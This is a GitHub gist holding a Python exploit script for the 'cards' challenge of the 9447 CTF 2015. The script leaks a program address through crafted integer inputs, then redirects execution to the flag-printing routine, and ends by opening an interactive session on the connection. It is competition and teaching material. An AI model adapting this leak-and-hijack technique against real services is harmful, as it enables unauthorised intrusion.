Created
November 30, 2015 12:12
-
-
Save mrexcessive/2691d6de22b84e4036f3 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
#pwnserver.py for 9447 CTF 2015 exploit / cards | |
#Whitehatters-uk | |
import os, sys, code | |
import readline, rlcompleter | |
import socket | |
import time | |
import struct | |
import telnetlib | |
SERVER = "cards-6xvx9tsi.9447.plumbing" # the actual challenge server | |
PORT = 9447 | |
pauseDebugging = True # use this when debugging locally | |
goTelnetAtEnd = True # enable once you have some kind of expectation that it isn't all screwed up | |
# and you might actually get a shell | |
p = lambda x: struct.pack("<L", x) # from https://gist.github.com/soez/4ee5eb07d4a3982815ad | |
u = lambda x: struct.unpack('<L', x)[0] | |
p64 = lambda x: struct.pack("<Q", x) | |
u64 = lambda x: struct.unpack('<Q', x)[0] | |
localtest = False | |
if localtest: | |
#TESTING LOCALLY | |
SERVER = "localhost" | |
PORT = 1337 | |
debug = True | |
alphanums = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" | |
printables = alphanums + ".,<>?/!$%^&*()_-+=@'#][{}`#" | |
s = None # socket | |
old_data = "" # response data not yet processed | |
def HexPrint(what): | |
#expects list of ints | |
col = 0 | |
oplineA = "" | |
oplineB = "" | |
for c in what: | |
b = ord(c) | |
oplineA += "%02x " % b | |
if not c in printables: | |
c = '.' | |
oplineB += c | |
if col == 7: | |
oplineA += "- " | |
col += 1 | |
if col >= 16: | |
print oplineA + ' ' * (53-len(oplineA)) + oplineB | |
oplineA = "" | |
oplineB = "" | |
col = 0 | |
if oplineA <> "": # final line if any | |
print oplineA + ' ' * (53-len(oplineA)) + oplineB | |
def DoConnect(): | |
global s | |
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
s.connect((SERVER,PORT)) | |
assert(s <> None) | |
def GetResponse(expect="\n",timeout=0.1): | |
global s, old_data | |
s.setblocking(0) | |
total_data=old_data | |
old_data = "" | |
begin = time.time() | |
while True: | |
if total_data <> "" and time.time() - begin > timeout: # wait timeout sec if we have something | |
break | |
elif time.time() - begin > timeout * 2: # wait 2xtimeout if nothing | |
break | |
try: | |
data = s.recv(1024) | |
if data: | |
total_data += data | |
if expect in total_data: | |
total_data, old_data = total_data.split(expect,1) | |
total_data += expect | |
break | |
begin = time.time() | |
else: | |
time.sleep(0.01) | |
except: | |
pass | |
return total_data | |
def Send(v): | |
if debug: | |
sys.stdout.write(v) | |
sys.stdout.flush() | |
s.sendall(v) | |
def Pwn_Exfil(turns): | |
r = GetResponse(expect="stop)") # throw initial response | |
HexPrint(r) | |
for i in xrange(1,turns+1): | |
v = 0xffffffffffffffff | |
if i <> 0: # XXX i %2 == 0 | |
v = -v | |
Send("%i\n" % v) | |
r = GetResponse(timeout=0.1) | |
if r <> "": | |
sys.stdout.write(r) | |
sys.stdout.flush() | |
if turns < 52: | |
Send("0\n") | |
r = GetResponse(expect="to play:",timeout=0.2) | |
print r | |
if "left:" in r: | |
drop,r = r.split("left:\n",1) | |
keep,drop = r.split("\nEnter the",1) | |
nums = keep.split(" ") | |
vals = [] | |
for n in nums: | |
if n <> "": | |
v = int(n) | |
vals.append(v) | |
if v <> -0x8000000000000000: | |
print "%16x" % v | |
else: | |
sys.stdout.write("-") # note MINVAL | |
sys.stdout.flush() | |
# Play the game | |
for i in xrange(0,turns): | |
Send("%i\n" % i) | |
r = GetResponse(expect="to play:",timeout=0.1) | |
print r | |
# return the exfil'd address | |
print "VALS:%s" % vals | |
return vals[1] | |
def Pwn_Segfault(jumpto_addr): | |
# make execution go to jumpto_addr .... | |
r = GetResponse() | |
print "Before PwnSegfault:%s" % r | |
pwntab = [] | |
if False: | |
pwntab.append( 999999999999999999999999999999999999999999 ) | |
pwntab.append(-99999999999999999999999999999999999999 ) | |
pwntab.append( 2222222222222222222222222222222222 ) | |
pwntab.append(-222222222222222222222222222222222222 ) | |
pwntab.append( jumpto_addr ) | |
pwntab.append(-333333333333333333333333333333333333 ) | |
pwntab.append( 88888888888888888888888888888888888888 ) | |
if True: | |
v = 88888888888888888888888888888888888888 | |
pwntab.append(v) | |
pwntab.append(-v) | |
pwntab.append(v) | |
pwntab.append(-v) | |
pwntab.append(v) | |
pwntab.append(-v) | |
pwntab.append( jumpto_addr ) | |
pwntab.append(0) | |
for v in pwntab: | |
Send("%i\n" % v) | |
r = GetResponse() | |
print r | |
r = GetResponse(expect="", timeout=2) | |
print r | |
def PwnServer(): | |
while (1): | |
addr_start = Pwn_Exfil(5) # this finds location of <_start> | |
if addr_start & 0xffffff == 0: # FAIL | |
DoConnect() | |
else: | |
print "Got IO addr = %16x" % addr_start | |
# addr_printFlag = addr_start + 0x4a6 # offset 0x4a6 from _start to printFlag | |
addr_printFlag = addr_start + 0x4a6 + (0xe70 - 0xd90) # the call to printFlag, not the actual function | |
print "Determined printFlag = %16x" % addr_printFlag | |
if localtest and pauseDebugging: | |
print "Attach debugger then press <Enter>" | |
raw_input() | |
Pwn_Segfault(addr_printFlag) | |
break | |
if __name__ == "__main__": | |
vars = globals() | |
vars.update(locals()) | |
readline.set_completer(rlcompleter.Completer(vars).complete) | |
readline.parse_and_bind("tab: complete") | |
shell = code.InteractiveConsole(vars) | |
DoConnect() | |
PwnServer() | |
if goTelnetAtEnd: | |
t = telnetlib.Telnet() | |
t.sock = s | |
t.interact() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment